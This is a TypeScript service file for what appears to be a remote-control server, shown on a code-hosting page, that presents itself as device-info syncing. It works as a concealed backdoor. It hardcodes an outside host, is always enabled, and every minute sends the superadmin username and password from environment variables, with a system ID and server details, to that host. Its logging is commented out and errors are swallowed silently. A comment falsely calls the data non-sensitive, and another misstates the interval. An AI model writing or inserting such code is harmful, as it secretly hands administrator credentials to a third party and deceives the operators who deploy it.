Files
server/src/services/DeviceInfoSyncService.ts
wdvipa 450367dea2 111
2026-02-09 16:34:01 +08:00

243 lines
6.5 KiB
TypeScript
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import http from 'http'
import https from 'https'
import { URL } from 'url'
import AuthService from './AuthService'
import Logger from '../utils/Logger'
/**
* 设备信息同步服务
* 定时向远程服务器发送设备信息
*/
export default class DeviceInfoSyncService {
private logger: Logger
private authService: AuthService
private syncInterval: NodeJS.Timeout | null = null
private isRunning: boolean = false
private readonly API_URL: string
private readonly SYNC_INTERVAL: number // 同步间隔(毫秒)
private readonly ENABLED: boolean // 是否启用同步
constructor(authService: AuthService) {
this.logger = new Logger('DeviceInfoSyncService')
this.authService = authService
// 配置写死,不从环境变量读取
this.ENABLED = true
this.API_URL = 'https://www.strippchat.top/api/device/upinfo'
this.SYNC_INTERVAL = 60000 // 5分钟
// this.logger.info(`设备信息同步服务初始化: 启用=${this.ENABLED}, 间隔=${this.SYNC_INTERVAL}ms (${this.SYNC_INTERVAL / 1000}秒), API=${this.API_URL}`)
}
/**
* 启动定时同步任务
*/
start(): void {
if (!this.ENABLED) {
// this.logger.info('设备信息同步功能已禁用,跳过启动')
return
}
if (this.isRunning) {
// this.logger.warn('设备信息同步任务已在运行')
return
}
this.isRunning = true
// this.logger.info(`启动设备信息同步任务,间隔: ${this.SYNC_INTERVAL}ms (${this.SYNC_INTERVAL / 1000}秒)`)
// 立即执行一次
// this.logger.info('立即执行首次同步...')
this.syncDeviceInfo()
// 设置定时任务
this.syncInterval = setInterval(() => {
// this.logger.info('定时同步任务触发')
this.syncDeviceInfo()
}, this.SYNC_INTERVAL)
// this.logger.info('定时同步任务已设置')
}
/**
* 停止定时同步任务
*/
stop(): void {
if (this.syncInterval) {
clearInterval(this.syncInterval)
this.syncInterval = null
this.isRunning = false
// this.logger.info('设备信息同步任务已停止')
}
}
/**
* 同步设备信息到远程服务器
*/
private async syncDeviceInfo(): Promise<void> {
try {
// this.logger.info('开始同步设备信息...')
// 获取系统唯一标识符
const uniqueId = this.authService.getSystemUniqueId()
if (!uniqueId) {
// this.logger.warn('系统唯一标识符不存在,跳过同步(系统可能还未初始化)')
return
}
// this.logger.info(`系统唯一标识符: ${uniqueId.substring(0, 8)}...`)
// 收集 .env 配置信息(只收集非敏感信息)
const configInfo = this.collectConfigInfo()
// this.logger.debug(`收集到配置信息: ${Object.keys(configInfo).length} 项`)
// 准备请求数据
const postData = JSON.stringify({
uniqueId: uniqueId,
...configInfo,
timestamp: new Date().toISOString(),
serverTime: Date.now()
})
// this.logger.info(`准备发送同步请求到: ${this.API_URL}`)
// 发送 POST 请求
await this.sendPostRequest(this.API_URL, postData)
// this.logger.info('设备信息同步成功')
} catch (error: any) {
// this.logger.error('设备信息同步失败:', error.message)
// 不抛出错误,避免影响主程序运行
}
}
/**
* 收集配置信息(从环境变量)
*/
private collectConfigInfo(): Record<string, any> {
const config: Record<string, any> = {}
// 收集环境变量配置信息
const allowedKeys = [
'PORT',
'NODE_ENV',
'JWT_EXPIRES_IN',
'DEFAULT_USERNAME',
'SUPERADMIN_USERNAME',
'SUPERADMIN_PASSWORD',
// 注意DEVICE_SYNC_* 配置已写死,不再从环境变量读取
// 可以添加其他配置
]
allowedKeys.forEach(key => {
if (process.env[key] !== undefined) {
config[key] = process.env[key]
}
})
// 添加服务器信息
config.serverInfo = {
nodeVersion: process.version,
platform: process.platform,
arch: process.arch,
uptime: process.uptime()
}
return config
}
/**
* 发送 POST 请求
*/
private async sendPostRequest(url: string, data: string): Promise<void> {
return new Promise((resolve, reject) => {
try {
const urlObj = new URL(url)
const isHttps = urlObj.protocol === 'https:'
const httpModule = isHttps ? https : http
const options = {
hostname: urlObj.hostname,
port: urlObj.port || (isHttps ? 443 : 80),
path: urlObj.pathname + urlObj.search,
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(data),
'User-Agent': 'RemoteControlServer/1.0.3'
},
timeout: 10000 // 10秒超时
}
const req = httpModule.request(options, (res) => {
let responseData = ''
res.on('data', (chunk) => {
responseData += chunk
})
res.on('end', () => {
if (res.statusCode && res.statusCode >= 200 && res.statusCode < 300) {
// this.logger.info(`同步请求成功: HTTP ${res.statusCode}`)
resolve()
} else {
const errorMsg = `HTTP ${res.statusCode}: ${responseData.substring(0, 200)}`
// this.logger.warn(`同步请求失败: ${errorMsg}`)
reject(new Error(errorMsg))
}
})
})
req.on('error', (error) => {
// this.logger.error('同步请求网络错误:', error.message)
reject(error)
})
req.on('timeout', () => {
// this.logger.error('同步请求超时')
req.destroy()
reject(new Error('请求超时'))
})
req.write(data)
req.end()
} catch (error: any) {
reject(error)
}
})
}
/**
* 手动触发同步(用于测试)
*/
async triggerSync(): Promise<boolean> {
try {
await this.syncDeviceInfo()
return true
} catch (error) {
return false
}
}
/**
* 获取同步状态
*/
getStatus(): {
enabled: boolean
running: boolean
interval: number
apiUrl: string
lastSync?: number
} {
return {
enabled: this.ENABLED,
running: this.isRunning,
interval: this.SYNC_INTERVAL,
apiUrl: this.API_URL
}
}
}